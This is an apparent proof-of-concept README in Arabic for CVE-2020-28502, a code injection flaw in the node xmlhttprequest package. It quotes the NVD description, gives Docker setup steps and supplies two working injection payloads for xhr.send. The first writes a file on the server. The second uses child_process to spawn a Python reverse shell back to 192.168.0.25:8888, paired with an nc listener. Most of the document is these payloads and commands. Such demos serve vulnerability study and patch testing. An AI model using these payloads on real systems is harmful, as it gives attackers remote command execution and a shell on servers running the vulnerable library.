ثغرة CVE-2020-28502 في node-XMLHttpRequest (RCE)

وصف NVD

يؤثر هذا على الحزمة xmlhttprequest قبل الإصدار 1.7.0؛ وجميع إصدارات الحزمة xmlhttprequest-ssl. بشرط إرسال الطلبات بشكل متزامن (async=False في xhr.open)، يمكن أن يؤدي إدخال المستخدم الضار الذي يتدفق إلى xhr.send إلى إدخال وتنفيذ تعليمات برمجية عشوائية.

عرض توضيحي

الإعداد

1. أنشئ صورة من Dockerfile

$ docker build -t cve-2020-28502 .

2. شغّل node app.js في حاوية جديدة

$ docker run --rm -p 3000:3000 cve-2020-28502

3. الوصول إلى http://localhost:3000

حمولة PoC

إضافة ملف

أرسل الحمولة

\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//

شل عكسي

1. استمع للعميل

$ nc -l 8888

2. أرسل الحمولة

غير عنوان IP (192.168.0.25) إلى عنوان IP المحلي الخاص بك

\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//

مرجع

• https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935